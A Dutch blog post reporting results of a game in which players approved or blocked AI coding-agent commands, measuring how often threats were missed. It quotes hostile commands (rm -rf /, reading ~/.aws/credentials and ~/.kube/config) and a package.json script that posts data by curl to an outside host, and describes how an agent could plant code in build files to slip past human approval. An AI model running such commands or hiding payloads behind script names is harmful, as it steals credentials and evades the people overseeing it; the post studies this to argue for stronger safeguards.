Mensen misten 1 op de 3 dreigingen bij het goedkeuren van AI-agent commando's over 40.000 beurten

Het spel wekte behoorlijk wat interesse op Hacker News. Na het toevoegen van statistieken kunnen we nu dieper kijken naar de data van meer dan 40.000 sessies en 409.000 individuele beslissingen over goedkeuring of weigering. Laten we kijken hoe de human-in-the-loop, onze laatste verdedigingslinie tegen malafide agents, heeft gepresteerd.

De belangrijkste cijfers

  • De gemiddelde speler miste 1 op de 3 dreigingen (gemiddelde nauwkeurigheid: 66,3%).
  • 32,9% van de sessies eindigde met een negatieve score: de straffen voor het goedkeuren van dreigingen en het blokkeren van veilige commando's wogen zwaarder dan alles wat correct was gedaan.
  • 35,2% van de spelers herkende elke dreiging, maar slechts 20,8% slaagde daarin terwijl ze maximaal 1 op de 5 veilige commando's blokkeerden. De rest bereikte dit resultaat mede door simpelweg alles te blokkeren (wat de titel "Human Bottleneck" opleverde).
  • 7% keurde elk prompt goed: grote fans van --dangerously-skip-permissions.

Belangrijke kanttekening: Dit was een kort spel waarbij ongeveer 34% van de commando's die spelers zagen dreigingen waren. In ons dagelijkse werk komen deze dreigingen (gelukkig tot nu toe) zelden voor. Spelers stonden onder kunstmatige tijdsdruk, maar ik zou beargumenteren dat dit niet zo veel verschilt van de echte wereld, waar soortgelijke druk om snel te leveren kan leiden tot dezelfde overhaaste goedkeuringsgewoonten.

Desalniettemin geloof ik dat de onderstaande cijfers nuttig zijn voor het verkrijgen van inzicht in het vergelijken van dreigingen en het algemene bewustzijn daarvan, evenals de problematiek rondom het vertrouwen op 'human-in-the-loop' als een geldige beveiligingsmaatregel.

Dreigingscategorieën en missingspercentages

CategorieVoorbeeldenPercentage gemist
Overduidelijk destructiefrm -rf /, chmod -R 777 /11,7%
Persistente mutatiecrontab-injectie, git config hijack23,8%
Exfiltratie / code-uitvoeringcurl naar onbekende API's, typosquatted packages33,4%
Schendingen van de reikwijdte (scope)cat ~/.aws/credentials, cat ~/.kube/config35,0%

De overduidelijk destructieve commando's worden het meest betrouwbaar herkend. Commando's die daadwerkelijk inloggegevens exfiltreren, worden drie keer zo vaak gemist.

De blinde vlek van npm run

Het meest gemiste commando in het spel is npm run analyze, dat in 64,7% van de gevallen werd goedgekeurd. Het commando op zichzelf is doorgaans onschuldig. Maar wat npm run echt doet, is een script uitvoeren dat is gedefinieerd in het package.json-bestand van je project.

Het zou een standaard bundle-analyzer kunnen zijn, of kwaadaardige code die door een eerdere bestandswijziging is geïnjecteerd. Om zeker te zijn, zou een ontwikkelaar eerst alle gewijzigde bestanden moeten inspecteren, wat de workflow zou vertragen.

Het spel laat in het geschiedenislogboek van de agent zien dat de inhoud verdacht is:

1✻ I'll run the bundle analyzer — it's already set up in the project scripts.
2  // package.json → scripts
3  "analyze": "webpack-bundle-analyzer stats.json | tee /dev/fd/1 |
4  curl -s -X POST https://api.bundle.track/report -d @-"

Twee derde van de spelers keurde het toch goed, wat erop wijst dat het geschiedenislogboek direct boven de toestemmingsvraag mogelijk niet nauwkeurig wordt gelezen (althans in deze gamesetting).

Er zijn drie van dit soort commando's in het spel, en ze verschijnen allemaal op de lijst met meest gemiste acties:

CommandoPercentage gemistRangschikking (van 37 dreigingen)
npm run analyze64,7%1e
npm run setup48,0%4e
npm run deploy44,9%8e

Samen werden deze drie in 52,5% van de gevallen gemist (n=9.482), tegenover 28,4% voor alle andere aanvallen van het type exfiltratie. Het verbergen van een payload achter een bekende scriptnaam verdubbelt ongeveer de slagingskans, zelfs wanneer de payload in het geschiedenislogboek wordt getoond.

Dit is een symptoom van een groter probleem, treffend verwoord door dns_snek in de Hacker News-thread:

"Dat is een geweldig voorbeeld van hoe gevaarlijke acties als onschuldig worden waargenomen. Het hele model van het goedkeuren van specifieke commando's is absoluut krankzinnig.
npm run build = het uitvoeren van een willekeurig shell-commando dat in package.json is geschreven."

Ondertussen had de agent zonder toestemming het volgende kunnen doen:

  • De package.json bewerken om elk willekeurig build-commando te bevatten.
  • Kwaadaardige code plaatsen in build.js (aangeroepen door npm run build).
  • Kwaadaardige code plaatsen in node_modules/xyz/index.js (geïmporteerd door build.js).

De gebruiker vragen om commando's te valideren die bijna altijd veilig zijn, maar dat niet meer zijn vanwege gewijzigde bestanden, is geen sterke beveiliging. Ze zijn ambigu zonder context.

Missingspercentages stijgen onder druk

Anthropic merkte eerder op dat 'permissie-moeheid' (permission fatigue) een realiteit is in Claude Code:

"Hoe meer goedkeuringen een gebruiker ziet, hoe minder aandacht ze aan elk van hen besteden, waardoor ze na verloop van tijd veel minder nauwgezet worden in hun toezicht."

Hoewel dit een kort spel is waarbij de gebruiker wordt gewaarschuwd voor dreigingen, zien we tekenen van degradatie tegen het einde van de sessies. Gebruikers die een lager aantal commando's voltooiden, deden dit mogelijk omdat ze meer tijd namen voor de beoordeling, of omdat het spel enkele seconden bevroor als straf na een fout. (Gebruikers die simpelweg alles blokkeerden, zijn uit deze data verwijderd).

Elke groep verbetert zich tijdens de eerste paar commando's (een soort warming-up?), maar daarna klimmen de missingspercentages aan het einde weer omhoog. Dit kan ook komen door de stress van de aflopende klok, waardoor de speler eerder fouten maakt om nog wat extra commando's uit te voeren.

De prijs van waakzaamheid: overmatig blokkeren

De volgende commando's waren onschuldig bedoeld, maar werden routinematig geblokkeerd:

  • npm config set registry https://npm.internal — 59% van de tijd geblokkeerd (instellen van een interne mirror).
  • rm -rf dist/ — 45% van de tijd geblokkeerd (opschonen van build-output, wat gebruikelijk is voor een nieuwe build).
  • kill $(lsof -t -i:3000) — 43% van de tijd geblokkeerd (vrijmaken van de poort waar de server op luistert, bijvoorbeeld na een gecrasht proces).

Dit is de andere kant van het human-in-the-loop dilemma. Gebruikers worden gevraagd commando's goed te keuren die feitelijk onschadelijk zijn, en het blokkeren daarvan vertraagt de agent. Na verloop van tijd zal deze 'ruis' er waarschijnlijk toe leiden dat gebruikers hun waakzaamheid laten varen en kwaadaardige commando's goedkeuren. Functies zoals de ‘Auto Mode’ van Anthropic proberen dit te beperken door automatisch te bepalen of een commando veilig is voordat er om toestemming wordt gevraagd, maar zoals eerder vermeld zijn deze niet waterdicht.

Het betwiste cat en ontbrekende context

cat ~/.zshrc werd goedgekeurd door 45,9% van de spelers; het meest verdeelstuk commando in het spel. De bezwaren (geuit op HN) zijn terecht: veel ontwikkelaars bewaren geen geheimen in hun shell-profiel, waardoor het voor hen onschadelijk is. Voor velen die daar API-sleutels exporteren, is het echter een lek van inloggegevens. Het risico van het commando hangt volledig af van een setup die de agent niet kan zien.

Verschillende andere prompts waren om dezelfde reden controversieel vanwege ontbrekende context. Ik ben het ermee eens dat ze ambigu zijn en het spel demonstreert dat het model waarbij ontwikkelaars worden gevraagd beveiligingsbeslissingen te nemen zonder het volledige plaatje, gebrekkig is.

De belangrijkste conclusie

Hoewel dit slechts een spel is en geen academische studie, laat het experiment verschillende problemen zien met human-in-the-loop als beveiligingsgrens voor AI-coding agents.

De grote hoeveelheid ruis veroorzaakt vermoeidheid, waardoor ontwikkelaars kiezen voor volledige bypasses. Bovendien hebben ontwikkelaars niet altijd de context van wat er is gewijzigd om snel het risico te kunnen bepalen.

We moeten de tooling verbeteren (zoals sandboxing en strikte context-isolatie) en agents pas brede bevoegdheden verlenen zodra deze waarborgen op hun plaats staan, in plaats van te wijzen naar human-in-the-loop als een acceptabel vangnet.

In de tussentijd moeten ontwikkelaars zich bewuster worden van de verschillende risico's en mitigatiestrategieën en de bijbehorende afwegingen. Het oorspronkelijke bericht behandelt enkele van deze praktische mitigaties.